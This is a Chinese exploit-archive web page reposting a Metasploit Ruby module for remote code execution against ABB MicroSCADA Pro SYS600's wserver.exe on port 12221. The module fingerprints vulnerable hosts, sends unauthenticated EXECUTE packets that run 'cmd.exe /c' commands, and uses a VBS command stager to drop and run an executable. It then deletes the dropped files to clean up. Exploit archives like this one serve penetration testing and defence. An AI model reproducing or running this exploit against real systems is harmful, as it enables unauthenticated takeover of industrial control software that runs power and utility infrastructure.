首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ABB MicroSCADA wserver.exe Remote Code Execution
来源:metasploit.com 作者:vazquez 发布时间:2013-12-02  
##
# This module requires Metasploit: http//metasploit.com/download
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStagerVBS
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'ABB MicroSCADA wserver.exe Remote Code Execution',
      'Description'    => %q{
        This module exploits a remote stack buffer overflow vulnerability in ABB MicroSCADA. The
        issue is due to the handling of unauthenticated EXECUTE operations on the wserver.exe
        component, which allows arbitrary commands. The component is disabled by default, but
        required when a project uses the SCIL function WORKSTATION_CALL.
  
        This module has been tested successfully on ABB MicroSCADA Pro SYS600 9.3 over
        Windows XP SP3 and Windows 7 SP1.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Brian Gorenc', # Original discovery
          'juan vazquez'  # Metasploit module
        ],
      'References'     =>
        [
          [ 'OSVDB', '100324'],
          [ 'ZDI', '13-270' ],
          [ 'URL', 'http://www05.abb.com/global/scot/scot229.nsf/veritydisplay/41ccfa8ccd0431e6c1257c1200395574/$file/ABB_SoftwareVulnerabilityHandlingAdvisory_ABB-VU-PSAC-1MRS235805.pdf']
        ],
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'DefaultOptions' =>
        {
          'WfsDelay' => 5
        },
      'Targets'        =>
        [
          [ 'ABB MicroSCADA Pro SYS600 9.3', { } ]
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => false,
      'DisclosureDate' => 'Apr 05 2013'
    ))
  
    register_options([Opt::RPORT(12221)], self.class)
  end
  
  def check
  
    # Send an EXECUTE packet without command, a valid response
    # should include an error code, which is good enough to
    # fingerprint.
    op = "EXECUTE\x00"
    pkt_length = [4 + op.length].pack("V") # 4 because of the packet length
    pkt = pkt_length
    pkt << op
  
    connect
    sock.put(pkt)
    res = sock.get_once
    disconnect
  
    if res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 0xe10001
      return Exploit::CheckCode::Vulnerable
    end
  
    return Exploit::CheckCode::Safe
  
  end
  
  def exploit
    # More then 750 will trigger overflow...
    # Cleaning is done by the exploit on execute_cmdstager_end
    execute_cmdstager({:linemax => 750, :nodelete => true})
  end
  
  def execute_cmdstager_end(opts)
    @var_tempdir = @stager_instance.instance_variable_get(:@tempdir)
    @var_decoded = @stager_instance.instance_variable_get(:@var_decoded)
    @var_encoded = @stager_instance.instance_variable_get(:@var_encoded)
    @var_decoder = @stager_instance.instance_variable_get(:@var_decoder)
    print_status("Trying to delete #{@var_tempdir}#{@var_encoded}.b64...")
    execute_command("del #{@var_tempdir}#{@var_encoded}.b64", {})
    print_status("Trying to delete #{@var_tempdir}#{@var_decoder}.vbs...")
    execute_command("del #{@var_tempdir}#{@var_decoder}.vbs", {})
    print_status("Trying to delete #{@var_tempdir}#{@var_decoded}.exe...")
    execute_command("del #{@var_tempdir}#{@var_decoded}.exe", {})
  end
  
  def execute_command(cmd, opts)
    op = "EXECUTE\x00"
    command = "cmd.exe /c #{cmd}"
    pkt_length = [4 + op.length + command.length].pack("V") # 4 because of the packet length
  
    pkt = pkt_length
    pkt << op
    pkt << command
  
    connect
    sock.put(pkt)
    res = sock.get_once
    disconnect
  
    unless res and res.length == 6 and res[0, 2].unpack("v")[0] == 6 and res[2, 4].unpack("V")[0] == 1
      fail_with(Failure::UnexpectedReply, "Unexpected reply while executing the cmdstager")
    end
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Kimai 0.9.2 db_restore.php SQL
·Kingsoft Office Writer 2012 8.
·Uptime Agent 5.0.1 Stack Overf
·ZIP Password Recovery Professi
·MS13-090 CardSpaceClaimCollect
·TP-Link TL-WR740N / TL-WR740ND
·Microsoft Internet Explorer CO
·Static Http Server 1.0 - Denia
·Apache Roller OGNL Injection
·Total Video Player 1.3.1 (Sett
·Pirelli Discus DRG A125g Passw
·Cisco Prime Data Center Networ
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved